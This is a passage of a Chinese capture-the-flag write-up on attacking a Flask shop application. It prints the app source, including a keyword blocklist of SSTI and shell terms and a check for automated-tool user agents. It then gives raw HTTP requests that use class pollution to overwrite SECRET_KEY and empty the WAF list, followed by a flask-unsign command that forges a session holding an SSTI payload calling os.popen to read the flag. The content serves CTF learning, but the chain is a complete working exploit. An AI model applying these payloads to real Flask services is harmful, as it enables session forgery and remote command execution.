 41                <body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
 42                    <h2>添加商品</h2>
 43                    <form id="productForm">
 44                        <p>商品名称: <input type="text" id="name"></p>
 45                        <p>商品价格: <input type="text" id="price"></p>
 46                        <button type="button" onclick="submitForm()">添加商品</button>
 47                    </form>
 48                    <script>
 49                        function submitForm() {
 50                            const nameInput = document.getElementById('name').value;
 51                            const priceInput = document.getElementById('price').value;
 52
 53                            fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
 54                                method: 'POST',
 55                                headers: {
 56                                    'Content-Type': 'application/json',
 57                                },
 58                                body: nameInput
 59                            })
 60                            .then(response => response.text())
 61                            .then(data => alert(data))
 62                            .catch(error => console.error('错误:', error));
 63                        }
 64                    </script>
 65                </body>
 66            </html>
 67        '''
 68    elif request.method == 'POST':
 69        if request.data:
 70            try:
 71                raw_data = request.data.decode('utf-8')
 72                if check(raw_data):
 73                #检测添加的商品是否合法
 74                    return "该商品违规,无法上传"
 75                json_data = json.loads(raw_data)
 76
 77                if not isinstance(json_data, dict):
 78                    return "添加失败1"
 79
 80                merge(json_data, add)
 81                return "你无法添加商品哦"
 82
 83            except (UnicodeDecodeError, json.JSONDecodeError):
 84                return "添加失败2"
 85            except TypeError as e:
 86                return f"添加失败3"
 87            except Exception as e:
 88                return f"添加失败4"
 89        return "添加失败5"
 90
 91
 92@app.route('/aaadminnn', methods=['GET', 'POST'])
 93def admin():
 94    if session.get('name') == "admin" and session.get('permission') != 0:
 95        permission = session.get('permission')
 96        if check1(permission):
 97            # 检测添加的商品是否合法
 98            return "非法权限"
 99
100        if request.method == 'POST':
101            return '<script>alert("上传成功!");window.location.href="/aaadminnn";</script>'
102
103        upload_form = '''
104        <h2>商品管理系统</h2>
105        <form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
106            <h3>上传新商品</h3>
107            <input type=file name=file required style="margin:10px"><br>
108            <small>支持格式:jpg/png(最大2MB)</small><br>
109            <input type=submit value="立即上传" style="margin:10px;padding:5px 20px">
110        </form>
111        '''
112
113        original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
114        new_template = original_template + upload_form
115
116        return render_template_string(new_template)
117    else:
118        return "<script>alert('You are not an admin');window.location.href='/'</script>"
119
120
121
122
123def merge(src, dst):
124    for k, v in src.items():
125        if hasattr(dst, '__getitem__'):
126            if dst.get(k) and type(v) == dict:
127                merge(v, dst.get(k))
128            else:
129                dst[k] = v
130        elif hasattr(dst, k) and type(v) == dict:
131            merge(v, getattr(dst, k))
132        else:
133            setattr(dst, k, v)
134
135
136def check(raw_data, forbidden_keywords=None):
137    """
138    检查原始数据中是否包含禁止的关键词
139    如果包含禁止关键词返回 True,否则返回 False
140    """
141    # 设置默认禁止关键词
142    if forbidden_keywords is None:
143        forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]
144
145    # 检查是否包含任何禁止关键词
146    return any(keyword in raw_data for keyword in forbidden_keywords)
147
148
149param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
150                    'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat',  'flag',  'set',  'self', '%', 'file',  'pop(',
151                    'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]
152
153
154# 增强WAF防护
155def waf_check(value):
156    # 检查是否有不合法的字符
157    for black in param_black_list:
158        if black in value:
159            return False
160    return True
161
162# 检查是否是自动化工具请求
163def is_automated_request():
164    user_agent = request.headers.get('User-Agent', '').lower()
165    # 如果是常见的自动化工具的 User-Agent,返回 True
166    automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
167    return any(agent in user_agent for agent in automated_agents)
168
169def check1(value):
170
171    if is_automated_request():
172        print("Automated tool detected")
173        return True
174
175    # 使用WAF机制检查请求的合法性
176    if not waf_check(value):
177        return True
178
179    return False
180
181
182app.run(host="0.0.0.0",port=5014)

审计一下源码就可以看到/aaadminnn路由可以ssti

注入点是session中的permission参数

那我们先污染一手SECRET_KEY,然后伪造session

 1POST /add HTTP/1.1
 2Host: 27.25.151.198:30362
 3Sec-Fetch-Dest: empty
 4Sec-Fetch-Mode: cors
 5Accept-Language: zh-CN,zh;q=0.9
 6sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
 7Referer: http://27.25.151.198:30362/add
 8Accept-Encoding: gzip, deflate, br, zstd
 9sec-ch-ua-platform: "Windows"
10Content-Type: application/json
11Origin: http://27.25.151.198:30362
12Accept: */*
13Sec-Fetch-Site: same-origin
14User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
15sec-ch-ua-mobile: ?0
16Content-Length: 3
17
18{"\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F":{"\u0061\u0070\u0070":{"\u0063\u006F\u006E\u0066\u0069\u0067":{"\u0053\u0045\u0043\u0052\u0045\u0054\u005F\u004B\u0045\u0059":"xrntkk"}}}}

另外把waf污染为空

 1POST /add HTTP/1.1
 2Host: 27.25.151.198:30362
 3Sec-Fetch-Dest: empty
 4Sec-Fetch-Mode: cors
 5Accept-Language: zh-CN,zh;q=0.9
 6sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
 7Referer: http://27.25.151.198:30362/add
 8Accept-Encoding: gzip, deflate, br, zstd
 9sec-ch-ua-platform: "Windows"
10Content-Type: application/json
11Origin: http://27.25.151.198:30362
12Accept: */*
13Sec-Fetch-Site: same-origin
14User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
15sec-ch-ua-mobile: ?0
16Content-Length: 3
17
18{"\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F":{"param_black_list":""}}

Payload:

1┌──(root㉿XrntsPC)-[/home/xrntkk/flask-session-cookie-manager]
2└─# flask-unsign --sign --secret xrntkk -c '{"name":"admin","permission":"{{g.pop.__globals__.__builtins__[\"__import__\"](\"os\").popen(\"cat 4flloog\").read()}}"}'
3.eJwVi8EKwyAQBX-lvFMCIaee-is1LKaxsrDuitqT-O81t5mB6VCfAl7wV2LFhhxK4lrZdMbe454t70RR7PRSiSafP5bGOuXtQMQpW2lEDsfiYNVhvaeg0z6-PZ5fEbN45xL8taxjYPwBAIEp0w.aEP1oA.brg9-lSD1jUcXaCB0RD1A8erqZI

image-20250608222842841